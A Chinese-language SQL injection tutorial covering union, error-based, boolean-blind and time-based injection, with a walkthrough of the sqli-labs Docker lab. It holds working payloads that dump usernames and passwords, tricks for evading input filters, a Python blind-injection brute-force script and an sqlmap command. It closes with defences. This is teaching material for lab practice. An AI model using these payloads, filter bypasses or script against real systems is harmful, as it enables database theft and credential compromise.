[漏洞篇]SQL注入漏洞详解
介绍
把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。
基础知识
判断注入方式
按照参数类型分为:数字型/字符型
按照注入方式分为:
- 联合注入
- 报错注入
- 延时注入
- 布尔盲注
这里主要介绍常见的几种注入,其他的注入还包括:宽字节注入、Cookie注入等,详细可查看:https://www.freebuf.com/articles/web/339118.html
按照参数类型分:
1. 数字型:引号 - 永真 - 永假
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加引号(单引号/双引号),URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面无任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
2. 字符型:引号-引号用真/永真注释-引号永假/永假注释
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加引号(单引/双引号):select * from table where name=’admin’’
由于加引号后变成三个单引号(双引号),则无法执行,程序会报错;
(2) 引号用真:’ and ‘1’='1
SELECT * FROM users WHERE id='1' and '1'='1';
这里因为我们添加了永真条件,所以页面不会变化。
这里我们也可以使用注释:比如添加’ and 1 = 1 --+
– 注意,这种注释符后边有一个空格(如果在URL中,空格可以改为+或者%20,因为需要进行编码)SELECT * FROM users WHERE id='1' and 1 =1 -- ' ;
(3) 引号永假:’ and ‘1’ = '2
这里因为我们添加了永假,所以页面会发生变化,不会显示数据。
SELECT * FROM users WHERE id='1' and '1' = '2' ;
判断列数:
?id=1’ order by 4# 报错
?id=1’ order by 3# 没有报错,说明存在3列
爆出数据库:
?id=-1’ union select 1,database(),3–+
?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
爆出数据表:
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘数据库’#
爆出字段:
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘数据表’#
爆出数据值:
?id=-1’ union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名–+
# 拓展一些其他函数(以MySQL为例):
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
多条数据显示函数:
concat()、group_concat()、concat_ws()
按注入方式分:
1. 联合注入(union注入):适用于显示列的注入
这种查询原理是把前面值整成错误的(id=-1’ 或者id=1’ and 1=2 后面加上union语句),这样就会执行union后语句。union联合查询适用于有显示列的注入。
如果页面有反显(随着请求参数不同,页面显示不同,表明可以使用联合注入)
- Order by 判断查询列数(4时错误,3时正确,可得知,当前表有3列 ):
?id=1' and '1'='1' order by 1--+ 页面回显正常
?id=1' and '1'='1' order by 2--+ 页面回显正常
?id=1' and '1'='1' order by 3--+ 页面回显正常
?id=1' and '1'='1' order by 4--+ 出现报错界面
# 可知查询语句主有3列
- Union select xx,xx,xx判断反显列:
?id=1’ and 1=2 union select 1 ,2 ,3 --+
2. 报错注入
- UPDATEXML 是 MySQL 中的一个 XML 函数,用于解析 XML 数据并返回结果。
UPDATEXML(xml_target, xpath_expr, new_xml)
- xml_target:要操作的 XML 文档。
- xpath_expr:一个字符串,表示 XPath 表达式,用于指定要更新的节点。
- new_xml:要替换的新的 XML 内容。
在SQL注入中,不妨把他简化为updatexml(xx,concat(xx),xx),concat函数用来拼接字符,当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数,一三随便写即可
- EXTRACTVALUE 是 MySQL 中的一个函数,用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。
EXTRACTVALUE(xml_frag, xpath_expr)
- xml_frag:包含 XML 数据的字符串。
- xpath_expr:一个字符串,表示 XPath 表达式,用于指定要提取的节点。
在SQL注入中,不妨把他简化为extractvalue(xx,concat(xx)),concat函数用来拼接字符,当第二个参数为非xpath格式 就会把校验失败的数据爆出来。由于要的只是第二个参数,参数一随便写即可。
演示:
3. 布尔盲注
查询数据无反显且页面存在两种状态
布尔盲注常用函数:
database() 显示数据库名称
left(a,b) 从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符串的c位
length() 返回字符串的长度
Ascii() 将某个字符转换为ascii值
char() 将ASCII码转换为对应的字符
Left判断
?id=1’ and left(database(),1)=‘s’ --+
?id=1’ and left(database(),2) > ‘sa’ --+
Like语句判断
?id=1’ and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like ‘e%’ --+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115 --+
4. 延时注入
布尔盲注是进行逻辑判断,适用与注入页面存在两种状态:正常页面/报错页面
时间盲注是进行IF判断联合sleep函数执行,适用于注入页面只存在一种状态
判断注入点:
?id=1’ and sleep(5)–+ //正常休眠
?id=1" and sleep(5)–+ //无休眠
?id=1’) and sleep(5)–+//无休眠
?id=1") and sleep(5)–+//无休眠
?id=1’ and if(length(database())=8,sleep(10),1)–+
- 爆出数据库:
?id=1’ and if(ascii(substr(database(),1,1))=115,1,sleep(10))–+
通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以依次类推了
substr(database(),N,1)可以通过改变N的值来判断数据的第几个字符是什么 - 爆出数据表:
?id=1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema=“security"limit 0,1),1,1)))=101,sleep(5),1) --+
解释:security的第一张表的第一个字符ascii为101,为字符e
limit 0,1),N,1还是改变N的值,得出第二个字符
再判断字符(ascii判断)
?id=1” and if(ascii(substr(database(),1,1))>115,1,sleep(3)) --+
(left语句判断)
?id=1’ and if(left(database(),1)=‘s’,sleep(10),1) --+
?id=1’ and if(left(database(),2)=‘sa’,sleep(10),1) --+
Substring函数判断
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1=‘a’),11111,sleep(1)) --+
SQL注入绕过过滤
一些网站为了防止SQL注入,会通过过滤关键字、过滤注入符等方式来防止SQL注入漏洞。
为了对抗这种方法,我们可以选择通过某种方式绕过过滤。下面主要介绍几种常见的绕过场景:
1. 过滤关键字
过滤关键字应该是最常见的过滤了,因为只要把关键字一过滤,你的注入语句基本就不起作用了。
绕过方法:
(1)最常用的绕过方法就是用/**/,<>,分割关键字
sel<>ect
sel/**/ect
(2)双写绕过:根据过滤程度,有时候还可以用双写绕过
selselectect
(3)既然是过滤关键字,大小写应该都会被匹配过滤,所以大小写绕过一般是行不通的。
(4)有时候还可以使用编码绕过(URL编码绕过:16进制、ASCII编码绕过)
2. 过滤逗号
常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。
(1)简单注入可以使用join方法绕过
# 原语句
union select 1,2,3
# 改为join绕过逗号过滤
union select * from (select 1)a join (select 2)b join (select 3)
3. 过滤空格
(1)双空格
(2)/**/
(3)用括号绕过
(4)用回车代替 //ascii码为chr(13)&chr(10),url编码为%0d%0a
4. 过滤等号
可以使用like 、rlike 、regexp 或者 使用< 或者 > 来代替
5. 过滤大于/小于号
(1)greatest(n1,n2,n3,...) //返回其中的最大值
(2)strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1
(3)in 操作符
(4)between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。
实战
靶场搭建
- docker搭建靶场
这里使用docker搭建靶场,没有docker的推荐直接安装docker desktop,下载安装后执行docker version检测是否安装成功。
- 下载地址:https://docs.docker.com/desktop/setup/install/windows-install/
# 搜索镜像
docker search sqli-labs
# 选择合适的镜像
docker pull acgpiano/sqli-labs
## 手动指定镜像源下载
docker pull hub.daocloud.io/nginx:1.27.0
# 运行容器
docker run -d --name my-sqli-labs -p 80:80 acgpiano/sqli-labs
# 如果是mac arm芯片遇到如下告警:The requested image's platform (linux/amd64) does not match the detected host platform (linux/arm64/v8) and no specific platform was requested
# 表明我们拉取的镜像架构有问题,使用下面命令拉取对应镜像即可
docker run -d --platform linux/amd64 --name my-sqli-labs -p 80:80 acgpiano/sqli-labs
# 访问页面准备打靶
http://localhost
-
点击页面Setup/reset Database初始化靶场数据,初始化数据库等
-
选择对应关卡进行挑战:
-
Url输入,进行访问
http://localhost/Less-1/?id=1
Less1:字符型注入
为了理解方便,我们可以直接将后台执行的SQL语句打印到页面上。
- 修改源码:/var/www/html目录下对应的php文件,将SQL语句展示出来。修改后,刷新页面即可
- 添加
echo "$sql<br/>";
- 判断注入方式
①根据页面提示,让我们输出id参数,且id的值为数字
②我们在URL后添加?id=1,观察页面变化
可以看到成功查询出信息
③我们修改URL中的参数,来试探注入方式(字符型还是数字型)
- 我们首先尝试数字型注入:添加单引号,发现报错
- 我们尝试添加 and 1=2 永假,如果是数字型注入,这种方式页面应该不会显示内容。但实际页面显示了内容,因此可以判定不是数字型注入
- 下面尝试字符型注入,首先输入单引号,发现报错
- 然后我们尝试引号用真,输入’ and ‘1’='1 发现正常显示
- 最后尝试引号永假,输入’ and ‘1’='2 ,发现页面无法显示内容。至此可判定为字符型注入
- 执行注入
知道参数类型之后,下面我们就可以尝试爆破获取数据库内容等信息,首先因为数据有在页面反显,所以我们采取联合注入(union注入)。
- 通过order by判断原始SQL查询列数
# 页面显示正常,SQL语句中,order by 1 表明用查询结果的第一列排序 ?id=1' and 1=1 order by 1 --+ ... ?id=1' and 1=1 order by 3 --+ # 此时我们发现页面显示错误,可以知道,查询结果有3列 ?id=1' and 1=1 order by 4 --+
2. 我们通过union判断页面反显的是哪几列
3.接下来我们就可以使用数据库内置的一些函数来获取敏感信息了# MySQL数据库内置函数 version():查看数据库版本 database():查看使用的数据库 user():查看当前用户 limit:limit子句分批来获取所有数据 group_concat():一次性获取所有的数据库信息
5. 尝试获取表名。思路:information_schema.tables已经包含了所有的表,前面我们已经爆破出了数据库名,那么我们只需要截取一下,就可以知道上面的security库下有哪些表了# 基础知识 information_schema.tables:包含了数据库里所有的表 table_name:表名 table_schema:数据库名 column_name:字段名 group_concat():一次性获取所有的数据库信息
# 通过在URL中输入如下字符,即可爆破出表 ?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
6. 此时,我们发现了users表,按照开发习惯,用户名、密码都在一张表中,于是我们可以验证group_concat():分组后拼接,默认使用逗号分隔 # 输入下面信息,即可爆破出对应表的字段 ?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
7. 接下来就是重头戏了,我们获取该表中其他用户的用户名和密码# 0x5c 在ASCII中代表\ ?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
Less2:数字型注入
步骤与Less1 第一关同理,判断注入方式
- 首先用引号判断,发现报错,且报错信息中未显示我们传入的id值
- 使用永真条件判断,正常显示
- 使用永假判断,发现不显示,由此我们可以确定输入方式是数字型
- 后续的注入就和之前类似,因为都有反显数据,所以直接使用联合注入
Less5:报错注入
本关将会给大家演示报错注入攻击手段。
参考文章:https://www.cnblogs.com/xinghaihe/p/18409705
- 首先判断参数类型(过程同上),本关的参数类型为字符
是正常的'
闭合的字符型,但是在联合注入1' union select 1,2,3--+
没有回显注入点,只是回显You are in,因此无法使用联合注入,考虑使用报错注入或者盲注。
- 报错注入函数介绍
- UPDATEXML 是 MySQL 中的一个 XML 函数,用于解析 XML 数据并返回结果。
UPDATEXML(xml_target, xpath_expr, new_xml)
- xml_target:要操作的 XML 文档。
- xpath_expr:一个字符串,表示 XPath 表达式,用于指定要更新的节点。
- new_xml:要替换的新的 XML 内容。
在SQL注入中,不妨把他简化为updatexml(xx,concat(xx),xx),concat函数用来拼接字符,当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数,一三随便写即可
- EXTRACTVALUE 是 MySQL 中的一个函数,用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。
EXTRACTVALUE(xml_frag, xpath_expr)
- xml_frag:包含 XML 数据的字符串。
- xpath_expr:一个字符串,表示 XPath 表达式,用于指定要提取的节点。
在SQL注入中,不妨把他简化为extractvalue(xx,concat(xx)),concat函数用来拼接字符,当第二个参数为非xpath格式 就会把校验失败的数据爆出来。由于要的只是第二个参数,参数一随便写即可。
- 介绍了上面函数之后,下面我们可以使用内置的函数进行报错注入
0x7e
为~
,方便我们在报错回显中找到数据。
主要思路:通过数据库内置函数,拼接需要的内容作为路径,报错后路径被爆出,从而得到数据。
# updatexml报错注入
?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
'回显:XPATH syntax error: '~security~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+
'回显:XPATH syntax error: '~emails,referers,uagents,users~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
'回显:XPATH syntax error: '~id,username,password~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
'回显:XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
# extractvalue报错注入
?id=1' and extractvalue(1,concat(0x7e,(select database() ),0x7e))--+
'回显:XPATH syntax error: '~security~'
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e))--+
'XPATH syntax error: '~emails,referers,uagents,users~'
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+
'XPATH syntax error: '~id,username,password~'
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users),0x7e))--+
'XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
- 通过updatexml函数爆出数据库名
?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
Less8:布尔盲注
- 来到第8关,我们首先尝试判断参数是字符型还是数字型(本题是字符型),同时发现页面没有反显数据,接着我们尝试报错注入,结果发现页面没有反显数据,同时报错信息也没有反显到页面上。因此联合注入、报错注入都无效
- 我们发现当输入正确数值时,页面会反显you are in…,当输入永假条件时,页面什么都不显示。利用这个特性,可以使用布尔盲注。
- 我们通过一些bool类型的判断语句来侧面验证并获取敏感信息,例如:获取数据库名字长度。and length(database())=8 。如果页面有反显You are in…,说明数据库长度为8,如果不反显说明不为8,我们可以利用二分法,快速猜解。
# 页面有反显,说明数据库名长度=8。结合前面关卡,我们已经知道数据库为:security,其长度正好为8
?id=1' and length(database())= 8 --+
4. 除了猜测数据库长度,我们还可以猜测数据库版本、数据库名、表名、字段名等
这里我们可以通过脚本或者BurpSuite等工具去爆破
# 猜数据库版本
?id=1' and left(version(),1)=5 --+
# 猜数据库名
?id=1'and left(database(),1)>'a'--+
# 猜表名
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)="users"--+
# 猜测字段名
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),8)="username"--+
- 通过python脚本爆破提高效率
python脚本:
# -*- coding:utf8 -*-
import requests
url = 'http://localhost/Less-8/?id=1%27' # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] # 字典
str1 = "You are in..........." # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
def blind_sql_injection(url, payload, list1, str1, function_name, max_length=20):
result = ''
for i in range(1, max_length + 1):
for ss in list1:
p = payload.format(d=function_name, n=i, s=result + ss)
try:
u = requests.get(url + p)
if str1 in u.content.decode('utf-8'):
result += ss
print(f"正在对比{function_name}第 {i} 个字符: {result}")
break
except requests.RequestException as e:
print(f"请求失败: {e}")
break
print(f"对比成功,{function_name}为: {result}")
return result
# 开始对比database()
database = blind_sql_injection(url, payload, list1, str1, 'database', max_length=10)
print(f"database-->{database}")
- 除了python脚本,我们也可以使用BurpSuite提升我们的效率
Less9:延时注入
布尔盲注是进行逻辑判断,适用与注入页面存在两种状态:正常页面/报错页面
延时注入是进行IF判断联合sleep函数执行,适用于注入页面只存在一种状态
- 来到第9关,我们发现页面数据无回显,且报错无回显、同时页面无两种状态,这时只有祭出神器,延时注入(if判断+sleep函数)
- 首先判断参数类型,看是数字型注入还是字符型注入
# 发现页面并没有加载5s,说明不是数字型
?id=1 and sleep(5)--+
# 尝试字符型,发现页面有加载5s,说明本次注入方式为字符型
?id=1' and sleep(5)--+
- 下面我们就可以结合if和sleep函数进行延时注入了
# 判断数据库长度,是否为8,如果为8,则页面休眠4s,否则页面应快速加载出数据
?id=1'and if(length(database())=8,sleep(4),1)--+
# 这种方法可以理解为另类的布尔盲注,其他爆破出字段名、数据库名同理,但这种方式容易收到网络影响,
#比如因为网络原因导致页面休眠时间不准或误判等
SQLMap:SQL漏洞检测爆破工具
除了上面我们手动去检测破解之外,我们也可以使用SQL漏洞神器sqlmap进行扫描和爆破
这里我直接使用kali来进行实验(kali中自带sqlmap)
# 检测库
sqlmap -u "http://10.35.22.12/Less-1/?id=1" --batch -dbs
例:爆破数据库
防范
1. 使用预编译语句
绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,此处不再展示。
预编译防止SQL注入的原理:
正常情况下,用户输入的参数会直接参与SQL语法的编译,而预编译则是先构建语法树,确定SQL语法结构以后,再拼接用户的参数。注入的恶意SQL语句只会被视为参数,参与不了SQL语句的语法树构建,也就无法改变其语法结构,也就无法达到编译恶意语句的目的。
比如:
- 不使用预编译,用单引号提前闭合的方式注入恶意SQL语句
select count(1) from students where name=‘张三’ or ‘1=1’; - 使用了预编译:
select count(1) from students where name=‘张三” or “1=1’;
这里payload是张三’ or ‘1=1,会被当做参数,单引号会被转义成’‘,从数据库查的时候,查的就是name=‘张三’ or ‘1=1’,而数据库不会存在名字为’张三’ or '1=1’的人,所以查不到。
预编译的机制是先编译,再传值,用户传递的参数无法改变SQL语法结构,从根本上解决了SQL注入的问题。但并不是所有参数都可以使用预编译。
比如动态表名和列名的场景。:在生成语法树的过程中,预处理器在进一步检查解析后的语法树时,会检查数据表和数据列是否存在,因此数据表和数据列不能被占位符?所替代。但在很多业务场景中,表名需要作为一个变量存在,因此这部分仍需由加号进行SQL语句的拼接,若表名是由外部传入且可控的,仍会造成SQL注入。
2. 使用存储过程
使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。
3. 输入验证、过滤
输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术。它可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。在Java中,可以使用正则表达式和内置的输入验证方法来实现输入验证和过滤。
4. 使用安全函数
5. 最小权限原则
最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限。这意味着用户只能访问和执行他们工作所需的数据库对象和操作,而不是拥有对整个数据库的完全访问权限。
其他专业名词:RCE、EXP等
- POC:全称 ’ Proof of Concept ',中文 ’ 概念验证 ’ ,常指一段漏洞证明的代码。
- Exp: 全称“Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。
- Payload: 中文“有效载荷”,指成功 exploit 之后,真正在目标系统执行的代码或指令
- RCE: RCE(remote command/code execute) 可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 。由于程序中预留了执行代码或者命令的接口[如网络设备的web管理界面,自动化运维系统],并且提供了给用户使用的界面,导致被黑客利用, 控制服务器.
- Shellcode: 简单翻译“shell 代码”,是 Payload 的一种,由于其建立正向/反向 shell 而得名
- lOC: Indicator of compromise (IOC) ,失陷指标 般是被动产生的,一般命中就表示设备或者网络已经失陷 常见的IOC有 md5 哈希、C2 域或硬编码IP 地址、注册表项和文件名 般IP地址和URL都会做defang处理,可以借助cyberchef的defang实现。
注意:
总结:
想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个POC。之后你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的录音笔,这一天你所做的就是一个EXP,你在他家所做的就是不同的Payload,就把录音笔当作Shellcode吧!
参考文章:
https://www.cnblogs.com/wuhanjiayou/p/18317978/Union-SQL
https://www.cnblogs.com/sunny11/p/13583083.html
https://www.freebuf.com/articles/web/399935.html